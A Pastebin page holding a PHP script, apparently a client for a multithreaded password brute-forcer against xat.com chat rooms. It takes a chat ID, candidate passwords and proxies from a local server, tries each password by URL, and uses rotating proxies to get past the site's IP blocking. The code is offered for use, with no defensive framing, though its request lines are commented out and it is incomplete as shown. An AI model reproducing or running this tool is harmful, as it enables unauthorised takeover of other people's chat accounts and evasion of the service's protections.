Advertisement
Venomshq

Xat Brute Force(Client)(MultiThread)

Jul 27th, 2013
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.33 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ALL);
  3. //xatech.com/web_gear/chat/auser3.php
  4. echo "Xat Chat Bruteforcer by Hundrea aka Kronos \n";
  5. echo "Type To Start! \n";
  6. $pick=fgets(STDIN);
  7. echo "How many threads do you want?(The more the faster!)\n";
  8. $numofThreads = fgets(STDIN);
  9. $numofThreads=(int)$numofThreads;
  10.  
  11. class attack extends Thread{
  12. public static $chatid;
  13. public static $file ="storage.txt";
  14. public $objects;
  15. public $fp;
  16.  
  17. public function SocketGet($message){
  18. $this->fp = fsockopen ("localhost",4317, $errno, $errstr);
  19. while(!$this->fp){
  20. $this->fp = fsockopen ("localhost",4317, $errno, $errstr);
  21. }
  22. fwrite($this->fp,$message);
  23. sleep(2);
  24. return fread($this->fp,1000);
  25. }
  26.  
  27. public function __construct(){
  28. self::$chatid=$this->SocketGet("ID");
  29. }
  30.  
  31. public function run(){
  32. for($blahn=0;$blahn<2;){
  33. $x=$this->SocketGet("Number");
  34. $Proxyx=$this->SocketGet("Proxy");
  35.  
  36. $aProxy = array(
  37.     'http' => array(
  38.         'proxy' => 'tcp://'.$Proxyx,//tcp://192.168.0.2:3128
  39.         'request_fulluri' => true,
  40.     ),
  41. );
  42. $threadid=$this->getThreadId();
  43. $proxystream = stream_context_create($aProxy);
  44. echo "--> Thread id :$threadid: Using Proxy ".$Proxyx."\n";
  45. $urlstring='http://xat.com/web_gear/chat.php?id='.self::$chatid.'&pw='.$x;
  46. echo "--> Thread id :$threadid: Getting http://xat.com/web_gear/chat.php?id=".self::$chatid."&pw=".$x."\n";
  47. //$htmldata =file_get_contents(str_replace("\n","",$urlstring));
  48. //$htmldata =file_get_contents(str_replace("\n","",$urlstring),False,$proxystream);
  49. //$htmldata =file_get_contents("http://xat.com/web_gear/chat.php?id=158602168&pw=296756942");
  50. echo "--> Thread id :$threadid: Checking If Correct -->"."\n";
  51. if(strpos($htmldata,"http://xat.com/web_gear/chat.php?id="))
  52. {
  53. echo "--> Passfound Success!\n\n";
  54. $this->SocketGet("Success/xz/$urlstring");
  55. exit();
  56. }
  57. else if(strpos($htmldata,"not found"))
  58. {
  59. echo $urlstring;
  60. $return="--> Thread id :$threadid: Wrong Pass\n\n";
  61. }
  62. else if(strpos($htmldata,"Try again in"))
  63. {
  64. $return="--> Thread id :$threadid: Server blocked ip\n\n";
  65. $this->SocketGet("Timeout");
  66. }
  67. else{
  68. $return="--> Unknown Error\n\n";
  69. $this->SocketGet("Timeout");file_put_contents("storage.txt",$urlstring);
  70. }
  71. echo $return;
  72. }
  73. }}
  74. for($Createnumber=0;$Createnumber<$numofThreads;$Createnumber++){
  75. $attackthread[$Createnumber]=new attack();
  76. $attackthread[$Createnumber]->start();
  77. }
  78.  
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement